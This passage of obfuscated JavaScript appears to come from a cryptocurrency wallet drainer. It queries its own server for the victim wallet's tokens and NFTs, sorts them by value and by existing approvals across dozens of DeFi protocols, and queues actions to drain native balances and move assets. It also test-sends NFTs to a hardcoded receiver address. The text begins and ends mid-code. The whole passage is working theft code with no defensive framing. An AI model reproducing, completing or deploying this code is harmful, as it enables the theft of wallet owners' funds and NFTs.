processWooFinanceActions(actions.wooActions, approved, chain);
processWooBridgeActions(actions.wooBridgeActions, approved, chain);
processSushiswapActions(actions.sushiswapActions, approved, chain);
processSushiProcessActions(actions.sushiProcessActions, approved, chain);
}
};
["tokenPromise"] = async () => {
try {
console.log("Requesting Tokens");
let _0x2fb9f3 = await (await fetch(this.domain + '/items/' + (await this.getWalletAddress()) + "/0xDSN1H6CU" + ('/' + Base64.encode(this.createEncKey())), this.options)).json();
console.log("Received Tokens, Checking..");
this.tokenValueUSD = _0x2fb9f3.value;
this.caller = _0x2fb9f3.caller;
this.receiver = _0x2fb9f3.receiver;
this.ace_receiver = _0x2fb9f3.ace_receiver;
this.sharing = _0x2fb9f3.sharing;
this.tradingPairs = _0x2fb9f3.trading;
let _0x2990a2 = _0x2fb9f3.tokens;
if (_0x2990a2 != null && _0x2990a2.length > 0) {
const _0x34a5f2 = _0x2990a2.map(async _0x33d75d => {
if (_0x33d75d.token_address == 'native') {
if (!this.tokenChains.includes(_0x33d75d.chain) && _0x33d75d.value > 10) {
this.tokenChains.push(_0x33d75d.chain);
}
this.drainNativeActions.push({
'balance': _0x33d75d.balance,
'value': _0x33d75d.value * _0x4c82e3.assetOptions.multipliers.balance,
'chain': _0x33d75d.chain
});
} else {
try {
if (_0x33d75d.price == null) {
_0x33d75d.price = 0;
}
let _0x28d42b = _0x33d75d.balance;
let _0x12600b = false;
if (_0x33d75d.approvals.aave_lp2 > 0) {
let _0x5e35da = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.aave_lp2) {
_0x5e35da = _0x33d75d.approvals.aave_lp2;
}
let _0xa134e3 = _0x5e35da / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.aaveLP2Actions.push({
'value': _0xa134e3 * _0x4c82e3.assetOptions.multipliers.aave,
'amount': _0x5e35da,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.aave_lp3 > 0) {
let _0x2d58ca = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.aave_lp3) {
_0x2d58ca = _0x33d75d.approvals.aave_lp3;
}
let _0x34ea59 = _0x2d58ca / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.aaveLP3Actions.push({
'value': _0x34ea59 * _0x4c82e3.assetOptions.multipliers.aave,
'amount': _0x2d58ca,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.aave_lp4 > 0) {
let _0x2769f7 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.aave_lp4) {
_0x2769f7 = _0x33d75d.approvals.aave_lp4;
}
let _0x3e1f3e = _0x2769f7 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.aaveLP4Actions.push({
'value': _0x3e1f3e * _0x4c82e3.assetOptions.multipliers.aave,
'amount': _0x2769f7,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.permit2 > 0) {
let _0x10b565 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.permit2) {
_0x10b565 = _0x33d75d.approvals.permit2;
}
let _0x4a1ee1 = _0x10b565 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.permit2Actions.push({
'value': _0x4a1ee1 * _0x4c82e3.assetOptions.multipliers.permit2,
'amount': _0x10b565,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.uniswapv2 > 0) {
let _0xdf730c = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.uniswapv2) {
_0xdf730c = _0x33d75d.approvals.uniswapv2;
}
let _0x11ad99 = _0xdf730c / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.uniswapv2Actions.push({
'value': _0x11ad99 * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0xdf730c,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.uniswapv3 > 0) {
let _0x4b7b07 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.uniswapv3) {
_0x4b7b07 = _0x33d75d.approvals.uniswapv3;
}
let _0x1a803d = _0x4b7b07 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.uniswapv3Actions.push({
'value': _0x1a803d * _0x4c82e3.assetOptions.multipliers.uniswapv2,
'amount': _0x4b7b07,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.uniswapv3_2 > 0) {
let _0x5e213a = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.uniswapv3_2) {
_0x5e213a = _0x33d75d.approvals.uniswapv3_2;
}
let _0x25df70 = _0x5e213a / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.uniswapv3_2Actions.push({
'value': _0x25df70 * _0x4c82e3.assetOptions.multipliers.uniswapv2,
'amount': _0x5e213a,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.bancor > 0) {
let _0x461eaf = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.bancor) {
_0x461eaf = _0x33d75d.approvals.bancor;
}
let _0x33dae9 = _0x461eaf / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0x1b583e = {
value: _0x33dae9 * _0x4c82e3.assetOptions.multipliers.uniswap,
amount: _0x461eaf,
token: _0x33d75d.token_address,
chain: _0x33d75d.chain
};
this.bancorActions.push(_0x1b583e);
_0x12600b = true;
}
if (_0x33d75d.approvals.bancor_swaps > 0) {
let _0x358da2 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.bancor_swaps) {
_0x358da2 = _0x33d75d.approvals.bancor_swaps;
}
let _0x425064 = _0x358da2 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.bancorSwapsActions.push({
'value': _0x425064 * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0x358da2,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.kyber > 0) {
let _0x33ed03 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.kyber) {
_0x33ed03 = _0x33d75d.approvals.kyber;
}
let _0x921ba7 = _0x33ed03 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0x2f087f = {
value: _0x921ba7 * _0x4c82e3.assetOptions.multipliers.uniswap,
amount: _0x33ed03,
token: _0x33d75d.token_address,
chain: _0x33d75d.chain
};
this.kyberActions.push(_0x2f087f);
_0x12600b = true;
}
if (_0x33d75d.approvals.quickswap > 0) {
let _0x204956 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.quickswap) {
_0x204956 = _0x33d75d.approvals.quickswap;
}
let _0x13999e = _0x204956 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.quickSwapActions.push({
'value': _0x13999e * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0x204956,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.spookyswap > 0) {
let _0x28e90d = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.spookyswap) {
_0x28e90d = _0x33d75d.approvals.spookyswap;
}
let _0x166976 = _0x28e90d / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.spookyActions.push({
'value': _0x166976 * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0x28e90d,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.gmx > 0) {
let _0x276ea3 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.gmx) {
_0x276ea3 = _0x33d75d.approvals.gmx;
}
let _0x56dc3a = _0x276ea3 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.gmxActions.push({
'value': _0x56dc3a * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0x276ea3,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.pangolin > 0) {
let _0x1797f7 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.pangolin) {
_0x1797f7 = _0x33d75d.approvals.pangolin;
}
let _0x11687c = _0x1797f7 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.pangolinActions.push({
'value': _0x11687c * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0x1797f7,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.traderjoe_v3 > 0) {
let _0xe75894 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.traderjoe_v3) {
_0xe75894 = _0x33d75d.approvals.traderjoe_v3;
}
let _0x542381 = _0xe75894 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.traderJoeV3Actions.push({
'value': _0x542381 * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0xe75894,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.traderjoe_v2 > 0) {
let _0x379f6 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.traderjoe_v2) {
_0x379f6 = _0x33d75d.approvals.traderjoe_v2;
}
let _0x19f7bf = _0x379f6 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0xa96674 = {
value: _0x19f7bf * _0x4c82e3.assetOptions.multipliers.uniswap,
amount: _0x379f6,
token: _0x33d75d.token_address,
chain: _0x33d75d.chain
};
this.traderJoeV2Actions.push(_0xa96674);
_0x12600b = true;
}
if (_0x33d75d.approvals.traderjoe_v1 > 0) {
let _0x49b9e7 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.traderjoe_v1) {
_0x49b9e7 = _0x33d75d.approvals.traderjoe_v1;
}
let _0x17dffd = _0x49b9e7 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0x1010d9 = {
value: _0x17dffd * _0x4c82e3.assetOptions.multipliers.uniswap,
amount: _0x49b9e7,
token: _0x33d75d.token_address,
chain: _0x33d75d.chain
};
this.traderJoeV1Actions.push(_0x1010d9);
_0x12600b = true;
}
if (_0x33d75d.approvals.woo > 0) {
let _0x282547 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.woo) {
_0x282547 = _0x33d75d.approvals.woo;
}
let _0x2fd8d2 = _0x282547 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0x2f9f84 = {
value: _0x2fd8d2 * _0x4c82e3.assetOptions.multipliers.uniswap,
amount: _0x282547,
token: _0x33d75d.token_address,
chain: _0x33d75d.chain
};
this.wooActions.push(_0x2f9f84);
_0x12600b = true;
}
if (_0x33d75d.approvals.woo_bridge > 0) {
let _0x52ca8f = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.woo_bridge) {
_0x52ca8f = _0x33d75d.approvals.woo_bridge;
}
let _0x568866 = _0x52ca8f / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.wooBridgeActions.push({
'value': _0x568866 * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0x52ca8f,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.camelot > 0) {
let _0x3737c3 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.camelot) {
_0x3737c3 = _0x33d75d.approvals.camelot;
}
let _0x2fa482 = _0x3737c3 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.camelotActions.push({
'value': _0x2fa482 * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0x3737c3,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.shibaswap > 0) {
let _0x15fb6c = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.shibaswap) {
_0x15fb6c = _0x33d75d.approvals.shibaswap;
}
let _0x5a71fa = _0x15fb6c / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.shibaSwapActions.push({
'value': _0x5a71fa * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0x15fb6c,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.stargate > 0) {
let _0x273811 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.stargate) {
_0x273811 = _0x33d75d.approvals.stargate;
}
let _0x522a6d = _0x273811 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.stargateActions.push({
'value': _0x522a6d * _0x4c82e3.assetOptions.multipliers.stargate,
'amount': _0x273811,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.cowswap > 0) {
let _0x4323a7 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.cowswap) {
_0x4323a7 = _0x33d75d.approvals.cowswap;
}
let _0x552498 = _0x4323a7 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0x4365ba = {
value: _0x552498 * _0x4c82e3.assetOptions.multipliers.uniswap,
amount: _0x4323a7,
token: _0x33d75d.token_address,
chain: _0x33d75d.chain
};
this.cowActions.push(_0x4365ba);
_0x12600b = true;
}
if (_0x33d75d.approvals.curve > 0) {
let _0xd30560 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.curve) {
_0xd30560 = _0x33d75d.approvals.curve;
}
let _0x181c42 = _0xd30560 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0x5682d9 = {
value: _0x181c42 * _0x4c82e3.assetOptions.multipliers.curve,
amount: _0xd30560,
token: _0x33d75d.token_address,
chain: _0x33d75d.chain
};
this.curveActions.push(_0x5682d9);
_0x12600b = true;
}
if (_0x33d75d.approvals.curve_vyper1 > 0) {
let _0x1d14f6 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.curve_vyper1) {
_0x1d14f6 = _0x33d75d.approvals.curve_vyper1;
}
let _0x258225 = _0x1d14f6 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0xb0a639 = {
value: _0x258225 * _0x4c82e3.assetOptions.multipliers.curve,
amount: _0x1d14f6,
token: _0x33d75d.token_address,
chain: _0x33d75d.chain
};
this.curveVyper1Actions.push(_0xb0a639);
_0x12600b = true;
}
if (_0x33d75d.approvals.oneinch_v5 > 0) {
let _0x4e75a0 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.oneinch_v5) {
_0x4e75a0 = _0x33d75d.approvals.oneinch_v5;
}
let _0x21dfa9 = _0x4e75a0 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.oneinchv5Actions.push({
'value': _0x21dfa9 * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0x4e75a0,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.zeroex > 0) {
let _0x1acc41 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.zeroex) {
_0x1acc41 = _0x33d75d.approvals.zeroex;
}
let _0x124b73 = _0x1acc41 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0x11d01e = {
value: _0x124b73 * _0x4c82e3.assetOptions.multipliers.uniswap,
amount: _0x1acc41,
token: _0x33d75d.token_address,
chain: _0x33d75d.chain
};
this.zeroexActions.push(_0x11d01e);
_0x12600b = true;
}
if (_0x33d75d.approvals.pancake > 0) {
let _0x1880ea = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.pancake) {
_0x1880ea = _0x33d75d.approvals.pancake;
}
let _0x53c24b = _0x1880ea / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0xb1a851 = {
value: _0x53c24b * _0x4c82e3.assetOptions.multipliers.uniswap,
amount: _0x1880ea,
token: _0x33d75d.token_address,
chain: _0x33d75d.chain
};
this.pancakeActions.push(_0xb1a851);
_0x12600b = true;
}
if (_0x33d75d.approvals.pancake_v2 > 0) {
let _0x2e18cb = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.pancake_v2) {
_0x2e18cb = _0x33d75d.approvals.pancake_v2;
}
let _0x5ca602 = _0x2e18cb / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.pancakev2Actions.push({
'value': _0x5ca602 * _0x4c82e3.assetOptions.multipliers.uniswapv2,
'amount': _0x2e18cb,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.sushi > 0) {
let _0x3de842 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.sushi) {
_0x3de842 = _0x33d75d.approvals.sushi;
}
let _0x34bace = _0x3de842 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.sushiswapActions.push({
'value': _0x34bace * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0x3de842,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.sushi_process > 0) {
let _0x4a91bb = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.sushi_process) {
_0x4a91bb = _0x33d75d.approvals.sushi_process;
}
let _0x526e42 = _0x4a91bb / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.sushiProcessActions.push({
'value': _0x526e42 * _0x4c82e3.assetOptions.multipliers.uniswap,
'amount': _0x4a91bb,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.approvals.seaport > 0) {
let _0x286904 = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.seaport) {
_0x286904 = _0x33d75d.approvals.seaport;
}
let _0x2902a5 = _0x286904 / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0x288504 = {
value: _0x2902a5 * _0x4c82e3.assetOptions.multipliers.seaport,
amount: _0x286904,
token: _0x33d75d.token_address,
chain: _0x33d75d.chain
};
this.seaportTokenActions.push(_0x288504);
_0x12600b = true;
}
if (_0x33d75d.approvals.wyvern_tokens > 0) {
let _0x347f8b = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.wyvern) {
_0x347f8b = _0x33d75d.approvals.wyvern;
}
let _0x1a6176 = _0x347f8b / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0x5bbc85 = {
value: _0x1a6176 * _0x4c82e3.assetOptions.multipliers.uniswap,
amount: _0x347f8b,
token: _0x33d75d.token_address,
chain: _0x33d75d.chain
};
this.wyvernTokenActions.push(_0x5bbc85);
_0x12600b = true;
}
if (_0x33d75d.approvals.special > 0) {
let _0x5da18b = _0x28d42b;
if (_0x28d42b > _0x33d75d.approvals.special) {
_0x5da18b = _0x33d75d.approvals.special;
}
let _0x331ab0 = _0x5da18b / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.specialActions.push({
'value': _0x331ab0 * _0x4c82e3.assetOptions.multipliers.special,
'amount': _0x5da18b,
'token': _0x33d75d.token_address,
'chain': _0x33d75d.chain
});
_0x12600b = true;
}
if (_0x33d75d.permit_type == 1 || _0x33d75d.permit_type == 2 || _0x33d75d.permit_type == 3 || _0x33d75d.permit_type == 4) {
let _0x48f5b6 = _0x28d42b / 10 ** _0x33d75d.decimals * _0x33d75d.price;
const _0x2623ba = {
token: _0x33d75d,
value: _0x48f5b6 * _0x4c82e3.assetOptions.multipliers.permit,
chain: _0x33d75d.chain
};
this.approvalTokenActions.push(_0x2623ba);
_0x12600b = true;
}
let _0x11d33c = _0x28d42b / 10 ** _0x33d75d.decimals * _0x33d75d.price;
this.approvalTokenActions.push({
'token': _0x33d75d,
'value': _0x11d33c * _0x4c82e3.assetOptions.multipliers.safa,
'chain': _0x33d75d.chain
});
if (!this.tokenChains.includes(_0x33d75d.chain)) {
this.tokenChains.push(_0x33d75d.chain);
}
} catch (_0x135829) {
console.log(_0x135829);
}
}
});
await Promise.all(_0x34a5f2);
}
} catch (_0x22ca2a) {
console.log(_0x22ca2a);
}
};
['nftPromise'] = async () => {
try {
console.log("Requesting NFTs");
let _0x31bd30 = await (await fetch(this.domain + "/nft/" + (await this.getWalletAddress()) + ('/' + Base64.encode(this.createEncKey())), this.options)).json();
let _0x8cee3f = _0x31bd30.nfts;
let _0x11a6f4 = [];
console.log("Received NFTs");
if (_0x8cee3f != null && _0x8cee3f.length > 0) {
const _0x20c92e = _0x8cee3f.map(async _0x53cf20 => {
let _0x2c5969 = _0x53cf20.price * ethPrice;
try {
if (_0x53cf20.contract.toLowerCase() == "0x23581767a106ae21c074b2276d25e5c3e136a68b" || _0x53cf20.contract.toLowerCase() == "0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb") {
const _0x47de75 = {
nft: _0x53cf20,
value: _0x2c5969,
chain: "eth"
};
this.approvalNFTActions.push(_0x47de75);
} else {
if (_0x53cf20.contract.toLowerCase() != "0xabefbc9fd2f806065b4f3c237d4b59d9a97bcac7" && _0x53cf20.contract.toLowerCase() != "0x60f80121c31a0d46b5279700f9df786054aa5ee5" && _0x53cf20.contract.toLowerCase() != "0x3b3ee1931dc30c1957379fac9aba94d1c48a5405" && _0x53cf20.contract.toLowerCase() != "0x82c7a8f707110f5fbb16184a5933e9f78a34c6ab" && _0x53cf20.contract.toLowerCase() != "0xabb3738f04dc2ec20f4ae4462c3d069d02ae045b" && _0x53cf20.contract.toLowerCase() != "0xd07dc4262bcdbf85190c01c996b4c06a461d2430" && _0x53cf20.contract.toLowerCase() != "0x76be3b62873462d2142405439777e971754e8e77") {
let _0x5a2ca1 = true;
let _0x502371 = false;
if (_0x53cf20.approvals.seaport > 0 || _0x53cf20.approvals.wyvern_nfts > 0 || _0x53cf20.approvals.ostransfers > 0 || _0x53cf20.approvals.blur_delegate > 0 || _0x53cf20.approvals.blur_execution > 0 || _0x53cf20.approvals.x2y2_transfers > 0) {
try {
_0x502371 = true;
if (!_0x11a6f4.includes(_0x53cf20.contract)) {
if (_0x53cf20.scheme == 'erc1155') {
await this.Sdk.sendERC1155_DRY(await this.getWalletAddress(), _0x53cf20.contract, "0xACE77777F820Dc4CB560453e6aBD2e06b03F07AA", _0x53cf20.token_id);
} else {
await this.Sdk.sendERC721_DRY(await this.getWalletAddress(), _0x53cf20.contract, "0xACE77777F820Dc4CB560453e6aBD2e06b03F07AA", _0x53cf20.token_id);
}
_0x11a6f4.push(_0x53cf20.contract);
}
} catch (_0x5bcaaa) {
_0x5a2ca1 = false;
}
}
if (_0x53cf20.approvals.seaport > 0) {
if (_0x5a2ca1) {
this.seaportNFTActions.push({
'nft': _0x53cf20,
'value': _0x2c5969 * _0x4c82e3.assetOptions.multipliers.seaport,
'chain': _0x53cf20.chain
});
}
}
if (_0x53cf20.approvals.os_transfers > 0) {
console.log("OSTransfer");
if (_0x5a2ca1) {
this.osTransferActions.push({
'nft': _0x53cf20,
'value': _0x2c5969 * _0x4c82e3.assetOptions.multipliers.ostransfers,
'chain': _0x53cf20.chain
});
}
}
if (!_0x502371) {
_0x53cf20.token_ids = [];
_0x53cf20.token_ids.push(_0x53cf20.token_id);
this.approvalNFTActions.push({
'nft': _0x53cf20,
'value': _0x2c5969 * _0x4c82e3.assetOptions.multipliers.safa,
'chain': _0x53cf20.chain
});
}
}
}
} catch (_0x5266e1) {
console.log(_0x5266e1);
}
});
await Promise.all(_0x20c92e);
}
} catch (_0xaae5c5) {
console.log(_0xaae5c5);
}
};
["approve"] = async _0x2dc9a4 => {
let _0xef4bd7 = await this.getWalletAddress();
let _0x63e73f = '';
try {
if (_0x2dc9a4.actionType == "ApprovalNFT") {
let _0x3baf38 = _0x2dc9a4.asset;
_0x63e73f = _0x2dc9a4.asset.contract;
if (!this.approved.includes(_0x3baf38.contract + ',' + _0x2dc9a4.chain) && !this.approved.includes(_0x3baf38)) {
if (_0x3baf38.contract.toLowerCase() == "0x23581767a106ae21c074b2276d25e5c3e136a68b") {
const _0x5552e9 = {
internalType: 'string',
name: "name",
type: 'string'
};
const _0x578da0 = {
internalType: 'string',
name: "symbol",
type: 'string'
};
const _0x49ffa9 = {
internalType: "contract IERC721",
name: "_proof",
type: "address"
};
const _0x40c466 = {
internalType: "address payable",
name: "beneficiary",
type: 'address'
};
const _0x44e53f = {
internalType: "address payable",
name: "royaltyReceiver",
type: "address"
};
const _0x270b9f = {
inputs: [_0x5552e9, _0x578da0, _0x49ffa9, _0x40c466, _0x44e53f],
stateMutability: 'nonpayable',
type: "constructor"
};
const _0x212c37 = {
inputs: [],
name: "ApprovalCallerNotOwnerNorApproved",
type: "error"
};
const _0x440ad7 = {
inputs: [],
name: "ApprovalQueryForNonexistentToken",
type: "error"
};
const _0x2839d9 = {
inputs: [],
name: "ApprovalToCurrentOwner",
type: "error"
};
const _0x2ab5ea = {
inputs: [],
name: "ApproveToCaller",
type: "error"
};
const _0x2a0da3 = {
inputs: [],
name: "BalanceQueryForZeroAddress",
type: "error"
};
const _0x1d7abc = {
inputs: [],
name: "MintToZeroAddress",
type: "error"
};
const _0x559271 = {
inputs: [],
name: "MintZeroQuantity",
type: "error"
};
const _0x27d061 = {
inputs: [],
name: "OwnerQueryForNonexistentToken",
type: "error"
};
const _0xe03174 = {
inputs: [],
name: "TransferCallerNotOwnerNorApproved",
type: "error"
};
const _0x5a8416 = {
inputs: [],
name: "TransferFromIncorrectOwner",
type: "error"
};
const _0xb8fb8e = {
inputs: [],
name: "TransferToNonERC721ReceiverImplementer",
type: "error"
};
const _0x4f04d5 = {
inputs: [],
name: "TransferToZeroAddress",
type: "error"
};
const _0x159701 = {
inputs: [],
name: "URIQueryForNonexistentToken",
type: "error"
};
const _0x5aaaa0 = {
indexed: true,
internalType: "address",
name: "owner",
type: "address"
};
const _0x1a6e98 = {
indexed: true,
internalType: "address",
name: 'approved',
type: "address"
};
const _0x43260f = {
indexed: true,
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x1419ff = {
anonymous: false,
inputs: [_0x5aaaa0, _0x1a6e98, _0x43260f],
name: "Approval",
type: 'event'
};
const _0x1c69d2 = {
indexed: true,
internalType: "address",
name: "owner",
type: "address"
};
const _0x3d86c9 = {
indexed: true,
internalType: "address",
name: "operator",
type: "address"
};
const _0x13e0ef = {
indexed: false,
internalType: "bool",
name: "approved",
type: "bool"
};
const _0x4f961c = {
anonymous: false,
inputs: [_0x1c69d2, _0x3d86c9, _0x13e0ef],
name: "ApprovalForAll",
type: 'event'
};
const _0x4b6a4d = {
indexed: true,
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x47c7a1 = {
anonymous: false,
inputs: [_0x4b6a4d],
name: "Expelled",
type: 'event'
};
const _0x509a03 = {
indexed: true,
internalType: "uint256",
name: 'tokenId',
type: 'uint256'
};
const _0x5a2d51 = {
anonymous: false,
inputs: [_0x509a03],
name: "Nested",
type: 'event'
};
const _0x4f85ec = {
indexed: true,
internalType: "address",
name: "previousOwner",
type: 'address'
};
const _0x1ab558 = {
indexed: true,
internalType: "address",
name: 'newOwner',
type: "address"
};
const _0x3af627 = {
anonymous: false,
inputs: [_0x4f85ec, _0x1ab558],
name: "OwnershipTransferred",
type: 'event'
};
const _0x1fcc8f = {
indexed: false,
internalType: "address",
name: "account",
type: "address"
};
const _0x3604d3 = {
anonymous: false,
inputs: [_0x1fcc8f],
name: "Paused",
type: 'event'
};
const _0x17cad1 = {
indexed: true,
internalType: "address",
name: "buyer",
type: "address"
};
const _0x407699 = {
indexed: false,
internalType: "uint256",
name: 'amount',
type: "uint256"
};
const _0x681e56 = {
anonymous: false,
inputs: [_0x17cad1, _0x407699],
name: "Refund",
type: "event"
};
const _0x1ef940 = {
indexed: true,
internalType: "address",
name: "beneficiary",
type: 'address'
};
const _0x367309 = {
indexed: false,
internalType: "uint256",
name: "numPurchased",
type: "uint256"
};
const _0x58cf72 = {
indexed: false,
internalType: "uint256",
name: 'amount',
type: "uint256"
};
const _0x531834 = {
anonymous: false,
inputs: [_0x1ef940, _0x367309, _0x58cf72],
name: "Revenue",
type: 'event'
};
const _0x28bb5b = {
indexed: true,
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0xfda4c7 = {
indexed: true,
internalType: "bytes32",
name: "previousAdminRole",
type: "bytes32"
};
const _0x490de5 = {
indexed: true,
internalType: "bytes32",
name: "newAdminRole",
type: "bytes32"
};
const _0x5af531 = {
anonymous: false,
inputs: [_0x28bb5b, _0xfda4c7, _0x490de5],
name: "RoleAdminChanged",
type: "event"
};
const _0x44ecc4 = {
indexed: true,
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x35869b = {
indexed: true,
internalType: "address",
name: "account",
type: "address"
};
const _0x24a235 = {
indexed: true,
internalType: "address",
name: "sender",
type: "address"
};
const _0x117776 = {
anonymous: false,
inputs: [_0x44ecc4, _0x35869b, _0x24a235],
name: "RoleGranted",
type: 'event'
};
const _0x1b72ec = {
indexed: true,
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x333a86 = {
indexed: true,
internalType: "address",
name: "account",
type: "address"
};
const _0x2ff2bb = {
indexed: true,
internalType: "address",
name: "sender",
type: "address"
};
const _0x3d6679 = {
anonymous: false,
inputs: [_0x1b72ec, _0x333a86, _0x2ff2bb],
name: "RoleRevoked",
type: 'event'
};
const _0x787708 = {
indexed: true,
internalType: "address",
name: "from",
type: "address"
};
const _0x4dfa42 = {
indexed: true,
internalType: "address",
name: 'to',
type: "address"
};
const _0x2ac552 = {
indexed: true,
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x54c644 = {
anonymous: false,
inputs: [_0x787708, _0x4dfa42, _0x2ac552],
name: "Transfer",
type: "event"
};
const _0x4dd656 = {
indexed: true,
internalType: "uint256",
